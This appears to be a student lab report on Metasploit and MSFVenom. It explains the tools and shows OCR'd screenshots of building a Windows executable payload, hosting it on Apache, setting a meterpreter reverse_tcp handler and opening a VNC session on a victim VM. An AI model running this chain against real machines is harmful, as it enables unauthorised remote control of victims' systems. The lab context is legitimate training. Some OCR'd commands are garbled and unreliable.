Act6
T4
A:
Metasploit Framework is a platform dedicated to providing tools and resources to utilizing exploit code. As shown in this activity, one shall be distributed to the victim, to gain remote access via VNC and a specifically made executable file. Overall, it includes many tools with which one can perform penetration testing to many degrees, such as remote access or searching for system information. 
B:
MSFVenom is a program made with ther combined functions of MSFPayload and MSFEncode, and has since replaced them due to its increased efficiency. With MSFVenom,  an attacker may generate their exploits, prepare the necessary services, and execute the attacking procedure. For example, the reverse_tcp exploit set to communicate with the attacker’s IP address and port would be given to the victim over various channels to the victim, in ofr form that may initiate it in the victim OS environment, such as a .exe file for Windows executable files.
C:
Creating the file
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Inserting the exploit
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Changing directory and file permissions to allow reading, writing and execution for all.
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Copying the directory to Apache’s public network storage.
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Starting Apache
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Victim Side
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D:
VNC is a remote desktop solution, which grabs the remote system’s screen and grants control over said system. Evidently, this could be used by malicious actors to take control over a victim’s system, preventing any victim intervention. Legally, however, this is used in situation in which a PC cannot be accessed, but is active, where a user would input the IP of the target, and the connection would start after some provided authentication. In this case, however, authentication is not seen, as the system is being controlled by a backdoor exploit.
E:
[image: Graphical user interface, text

Description automatically generated]
[image: Text

Description automatically generated]
[image: Graphical user interface, text, application, email

Description automatically generated]
[image: ]
[image: Text

Description automatically generated with medium confidence]
[image: Graphical user interface, text, application, email

Description automatically generated]
image7.png
¥ ESVARE dpailiEe Statts
 apache2.service - The Apache HTTP Server
Loaded: loaded (/1ib/systemd/systen/apache2.service; disable
Active: active (running) since Thu 2022-03-24 19:48i19 GMT.
Docs: https://httpd.apache.org/docs/2.4/
Process: 13278 ExecStart=/usr/sbin/apachectl start (code-exit
Main PID: 13289 (apache2)
Tasks: 8 (limit: 4563)
Memory: 19.6M
CPU: 549ms
CGroup: /system.slice/apache2.service
13289 /usr/sbin/apache2 -k start
13291 /usr/sbin/apache2 -k start
13292 /usr/sbin/apache2 -k start
13293 /usr/sbin/apache2 -k start
13294 /usr/sbin/apache2 -k start
13295 /usr/sbin/apache2 -k start
14246 /ust/sbin/apache2 -k start
19704 /usr/sbin/apache2 -k start

Mar 24 19:48:19 kali systemd[1]: Starting The Apache HTTP Server
Mar 24 19:48:19 kali apachectl[13288]: AH00558: apache2: Could nc
Mar 24 19:48:19 kali systemd[1]: Started The Apache HTTP Server.
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msf6 > use multi/handler
[+] Using configured payload generic/shell_reverse_tcp

msf6 exploit(yi 1 nancior) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit(niiti/handlor) > set LHOST 10.0.2.15

LHOST = 10.0.2.15

msf6 exploit(il i /handler) > set LPORT 4k

LPORT = 444

msf6 exploit(niiti/handlor) > exploit

[+] Started reverse TCP handler on 10.0.2.15:444
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expltest (2).exe
100215

This program is not commonly downloaded and
could harm your computer.

expltest (1).exe
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[+] sending stage (175174 bytes) to 10.0.2.8
[*] Meterpreter session 1 opened (10.0.2.15:444 —> 10.0.2.8:55801 ) at 2022-03-24 22:03:42 +0000
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<] Creating a VNC reverse tcp stager: LHOS
«] Running payload handler

«] VNC stager executable 73802 bytes long
«1 Uploaded the NC agent to C:\Users\admin\AppData\Local\Temp\FjDSQNhgA.exe (must be deleted manually)
«] Executing the VNC agent with endpoint 10.0.2.15:4545 ...

eterpreter > [*] VNC Server session 2 opened (10.0.2.15:4545 — 10.0.2.8:55811 ) at 2022-03-24 22:

0.0.2.15 LPORT=4545

142 +0000
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[ el (e o o]
$ sudo chmod u=rwx,g-rwx,o-rux shringll
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[ (kali® kali)-[~/Desktop/shring)
$ sudo chmod u=rwx, g=rwx,0=rux expltest.exell
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[ (kali® kali)-[~/Desktop/shring)
$ sudo cp -r /home/kali/Desktop/shring /var/wm/html/f|
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[ (kali® kali)- [~/Desktop/shring)
$ service apache2 startll




